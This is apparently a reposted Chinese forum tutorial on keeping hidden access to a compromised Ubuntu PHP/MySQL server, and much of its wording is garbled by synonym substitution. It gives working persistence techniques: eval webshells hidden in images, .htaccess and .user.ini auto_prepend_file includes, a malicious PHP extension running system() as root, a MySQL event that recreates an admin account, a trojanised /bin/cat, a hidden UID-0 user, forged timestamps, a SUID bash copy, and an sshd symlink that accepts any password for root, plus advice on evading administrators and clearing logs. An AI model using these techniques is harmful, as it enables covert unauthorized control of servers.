首页 » PHP教程 » php混杂权限技巧_若何和治理员玩躲猫猫权限坚持

php混杂权限技巧_若何和治理员玩躲猫猫权限坚持

duote123 2024-12-12 0

扫一扫用手机浏览

文章目录 [+]

ubuntu 16.04 + php + mysql

其余不同操作基于不同权限 有可能是root 有可能是webserver的权限

php混杂权限技巧_若何和治理员玩躲猫猫权限坚持

Webshell/Web

php混杂权限技巧_若何和治理员玩躲猫猫权限坚持
(图片来自网络侵删)

> 基于web做事的一句话下和管理员进行的捉迷藏

一个最大略的webshell一句话

1.藏于一些对方的文件下,比如upload/image/等文件夹里夹带着大量文件的文件夹

1.你可以直接写成php后缀的文件 当然 这很随意马虎被创造

2.可以利用htaccess文件进行重写

在我的环境下(上文提及) 默认是不开启rewrite

ps:我以前是在的centos之类的做的多 ubuntu我还找了一下配置文件

sudo a2enmod rewritesudo vim /etc/apache2/sites-enabled/000-default#将/var/www 下的AllowOverride None 修正为 AllowOverride All,如果没有看到这项内容,可以修正apache2.conf配置文件:sudo vim /etc/apache2/apache2.confsudo /etc/init.d/apache2 restart

基于htaccess bakcdoor操作的有很多我也是抛砖引玉

弊端:

虽然说大部分网站都是会主动开启rewrite 但是还是怕脸黑 如果须要开rewrite 是须要root权限重启做事的 而且修正的配置文件多 动静大越来越多的管理员有安全意识 类似存放Img文件 doc文件会开启禁止实行的权限限定

优点:

虽然也不算什么优点 但还是说说.htaccess 在linux中是.开头 属于隐蔽文件 ls可能还没瞥见 如果在一个正常的图片中插入代码可能更难创造

img code <phpwebshell>img code权限在不用开启rewrite的情景下 只用webserver其余 如果文件名最好是符合同文件夹下的命名规则 例如xxx韶光撮.jpg 这样子管理员追查日志更难找到 而不是能干的1.jpg konjac.jpg xxx.jpg....暂时想不到 loading....还有关于这种操作的技巧希望还有大佬们讲讲

2.藏于php.ini

php.ini是php的配置文件 可以用来掌握php的某些功能 在这个文件上可以做很多操作

举个例子

在/etc/php7.0/apache2/php.ini中 (本文测试环境,往后的路径都不再解释)

; Automatically add files before PHP document.; http://php.net/auto-prepend-fileauto_prepend_file =; Automatically add files after PHP document.; http://php.net/auto-append-fileauto_append_file =

个中有这样子的2个配置

auto_prepend_file =

auto_append_file =

根据注释可以看明白 一个是在php文档之前自动添加文件。
一个是在php文档后自动添加文件。

我们来实验一下

修正php.ini文件 这个参数是受到include_path限定的 以是我们给这2个参数进行修正 我这里放在了网站目录 你也可以放在别的php有权限的地方更加暗藏 比如/tmp /etc/php/xxx/等等

修正参数往后我一贯重启php创造没有生效 然后才知道是重启apache

重启往后访问一个文件

的确是在test.php 前面自动include了一个文件

然后我们延伸一下 自php5.3开始 php支持基于每个目录的.htaccess风格的ini文件 说的普通点 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被实行的 PHP 文件所在目录开始一贯上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。
如果被实行的 PHP 文件在 web 根目录之外,则只扫描该目录。

当然了 不是php.ini所有的设置你都可以做操作 是有详细模式的

PHP_INI_USER 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定

PHP_INI_PERDIR 可在 php.ini,.htaccess 或 httpd.conf 中设定

PHP_INI_SYSTEM 可在 php.ini 或 httpd.conf 中设定

PHP_INI_ALL 可在任何地方设定

详细模式可以看官方的文档http://php.net/manual/zh/ini.list.php

实际上 除了 php_ini_system 别的都可以利用 .user.ini掌握

一开始我的.user.ini一贯未生效 以为是有300秒的生效韶光 结果创造是

不管是 nginx/apache/IIS,只假如以fastcgi运行的php都可以用这个方法

apache 一样平常不是fastcgi 得装模块 为了节省韶光我就用.htaccess来实验

把稳.htaccess的写法 有点不一样

只是一些很多年前就有的操作了 希望有大佬们多分享一下

优点:

可以知道 我们只要有webserver的权限就kyii通过.htaccess/.user.ini来掌握所有的php文件包含后门动静不大 动的东西不多

弊端:

隐蔽性不高 有履历的人都能创造

待补充....

3.制作.so扩展后门

PHP扩展简介PHP扩展库(在Linux中为.so,在Windows中为.dll),它们供应了添加可以从实行的PHP脚本调用的新函数集的可能性。
扩展可以利用php.ini文件中的定义自动加载,参数名为“extension”; 或者利用函数dl()从将要实行的PHP脚本代码动态实行 其余刚刚去看了看官方手册 dl函数已经在新版本删了

0x01:

http://cn2.php.net/distributions/

先去下载一个php下来 然后解压

$ cd phpxxx/$ ./configure $ make$ cd etx$ ./etx_skel --extname=konjac # [backdoorname]$ cd konjac

在创建的文件中,有一个konjac.c文件 然后这里写明几点

PHP_FUNCTION() 是用来 将被导出 以便用来 从php中实行的函数 这里可以定义所须要的新功能。
PHP_MINT_FUNCTION() 每当php解析器启动时,都会实行你利用这个注册的代码,还有一个便是 你添加的代码都是root身份实行的,是一种利用特权实行代码的方法。
PHP_MSHUTDOWN_FUNCTION() 这个代码是该当在停滞php解析器之前实行的 看这个shutdown的单词就猜到了PHP_RINT_FUNTION() 这个是在php文件实行启动时实行PHP_RSHUTDOWN_FUNCTION() 这个是在php文件实行结束时实行。
PHP_MINFO_FUNCTION() 这个因此phpinfo的形式显示。
用来检测扩展是否精确加载。

我们打开config.m4这个文件 取消下面三行的注释

#这里的注释不是# 是dnl PHP_ARG_ENABLE(backdoor, whether to enable backdoor support, Make sure that the comment is aligned: [ --enable-backdoor Enable backdoor support])

然后顺手改改konjac.c里面的代码 看看测试效果

PHP_MINFO_FUNCTION(konjac){ php_info_print_table_start(); php_info_print_table_header(2, \"大众konjac test hack\公众, \"大众enabled\"大众); php_info_print_table_end();}

修正保存往后实行

$ phpize # 如果没有 apt-get install phpiz$ ./configure$ make

成功的效果图:

然后修正php.ini

extension=/tmp/konjac.so

我测试了3个小时 自己给自己挖了个坑 创造网上大多是php5的扩展编译资料 没看到php7的 一贯不知道为何get或者post的参数获取不到 后来想了想 我都能编译扩展库了 system函数一把梭

在konjac.c中添加如下demo测试代码

这样子我每次访问php文件就会实行这个代码

$ cat /tmp/konjackonjac

其余 这里韶光关系就不演示了 解释几点

可能说这个动的文件多 但是这里操作空间很大

比如 php.ini加载是加载一次的 以是我们可以

利用PHP_MINT_FUNCTION(是root权限)在php开启的时候把php.ini里面的extension删除 然后修正韶光撮

利用PHP_MSHUTDOWN_FUNCTION在php做事关闭的时候把php.ini里面的extension加回来 然后修正韶光撮 但是如果对方不是重启 只关闭就可以创造了 想想还有什么骚操作?抛砖引玉

顺便记一个东西

zend_eval_string是在c措辞中实行php代码

int zend_eval_string ( char str, zval retval_ptr, char string_name, magic TSRMLS_DC )第一个参数是字符串型的,便是要实行的PHP代码。
第二个是返回的值,由于是zval型的,以是得先做下初始化,直接操作return_value这个变量是可以直接返回给表面调用的PHP的。
第三个也是字符串,可以随便写,出错了提示地方的,后面接一个变态宏TSRMLS_CC。
例如:zend_eval_string(\公众phpinfo();\"大众,return_value,\"大众konjac\"大众 TSRMLS_DC);

还有不去世马 写进内存 php定时任务之类的 就先不说了。
网上都有很多很多总计

web方面的大概写在这里 有点累 实在都是一些老操作 大佬们笑笑就好了

基于MYSQL

1. mysql定时任务

create procedure konjac_test() begin insert into test.admin(admin_user,admin_passwd) values('hackuser','123456'); end //创建一个存储过程 create event e_konjac on schedule every 60 second on completion preserve disable do call konjac_test(); 创建一个定时任务 60秒实行一次存储过程 当然了 我个人以为一天最好 alter event e_konjac on completion preserve enable; //开启定时任务alter event e_konjac on completion preserve disable; //关闭定时任务

也可以写文件 或者实行系统命令之类的 反正都是mysql语句 不一一描述

基于linux文件

linux的功能性强 操作空间也特殊大

crontab 定时任务

crond 是linux下用来周期性的实行某种任务或等待处理某些事宜的一个守护进程,与windows下的操持任务类似,当安装完成操作系统后,默认会安装此做事 工具,并且会自动启动crond进程,crond进程每分钟会定期检讨是否有要实行的任务,如果有要实行的任务,则自动实行该任务。

ubuntu的情景下

#ubuntu和cetnos等做事器可能命令有所差异crontab -e #在末了一行添加你要实行的定时任务#每分钟实行一次命令/1 echo konjac >> /tmp/crontabtest#退出来往后 service cron restart可以看出是能成功实行的 至于怎么操作定时任务便是发挥你的脑动啦 或者想想如何让人不创造你的定时任务konjac@konjac-CN15S:/var/spool/cron$ cat /tmp/crontabtest konjackonjackonjackonjackonjackonjac

如何让管理员实行我们的命令

比如我们实行一个命令

cat xxx

是等同于

/bin/cat xxx

那么我们如果在/bin/cat 里面藏后门呢

mv /bin/cat /bin/back_cat #变动实际cat路径方便往后调用vim /bin/cat添加内容:echo \"大众hello i am hackcode\公众/bin/back_cat

然后实行cat test 结果创造成功打印hello i am hackcode 但是一贯在输入的状态

是由于没有参数传给back_cat 以是我们可以利用$1 获取shell的参数来传给back_cat

vim /bin/cat添加内容:echo \公众hello i am hackcode\"大众/bin/back_cat $1

实行

~ cat /var/www/html/shell.php hello i am hackcode<?phpeval($_REQUEST['konjac']);?>

然后又思考了一下 如果屌丝管理员cat 2个文件 或者别的命令有别的参数呢

#vim /bin/catecho \"大众hello i am hackcode\公众for i in \"大众$\公众;do /bin/back_cat $idone

实行

~$ cat shell.php test.php hello i am hackcode<?phpeval($_REQUEST['konjac']);?><?phpecho \"大众hello i am test\公众;?>

是成功实行了cat的浸染和实现实行自己的命令的

其余一些命令记录一下

Linux/Unix 添加 UID 为 0 的用户(肯定是要root权限的啦)

useradd -o -u 0 backdoor

然后去/etc/passwd /etc/shadow中把末了一行 属于backdoor的信息 移到中间 迷惑管理员的眼睛

虽然一个cat /etc/passwd|grep :0的事情 但是说不定可以骗骗半桶水

修正韶光撮

语法:touch -t +韶光撮

konjac@konjac-CN15S:/var/www/html$ sudo touch -t 1401010101.01 konjac.php

ps:前几个星期听某师傅说某公司的检测后门基于韶光撮 我也是醉了 哈哈

添加bash后门

root:~# cp /bin/bash /tmp/.bashroot:~# chmod u+s /tmp/.bashtest@konjac-CN15S:$ /tmp/.bash -p.bash-4.3# iduid=1001(test) gid=1002(test) euid=0(root) 组=1002(test).bash-4.3#

添加ssh后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

实行这个命令往后 ssh这个做事器5555端口 任意密码既可登录root

.bashrc

在~/.bashrc中每次打开新的shell都会自动实行命令

还有LINUX pam 后门 linux openssh后门 rookit后门 各种各样的藏后门 我依稀记得一年前有个师傅还能在ssh的config里面藏后门 基于密钥的那种 手腕太多了 说三天三夜也说不完

综上所述:

思考与对抗

是否可以建立一个linux所有文件的hash对照表 检测什么文件发生了变革 以至于 管理员进行检测多对系统进行备份也是一些比较大略的操作 但是如果稠浊起来利用 可以恶心管理员的 如果你闇练节制往后 再加上一些骚操作举一反三:比如cat 或者 vi 会不会碰着哪种字符会终止 遭到截断 有什么文件 在shell情景下较难删除如何让自己的动静小 尽最大努力保持文件hash 不变 韶光撮不变如何清理自己操作的日志如何记录hack操作的日志

文章转载自:https://bbs.ichunqiu.com/thread-49757-1-1.html

本文作者:tllm

标签:

相关文章

约瑟夫环php谜底技巧_算法约瑟夫环

在犹太罗马战役期间,他们41名犹太反抗者困在罗马人包围的洞穴中。这些反抗者甘心自尽也不愿被活捉,于是决定围成一个圈圈。沿着这个圈圈...

PHP教程 2024-12-14 阅读0 评论0

php爬虫模板技巧_PHP爬虫编写

PHP(外文名:PHP: Hypertext Preprocessor,中文名:“超文本预处理器”)是一种通用开源脚本措辞。语法接...

PHP教程 2024-12-14 阅读0 评论0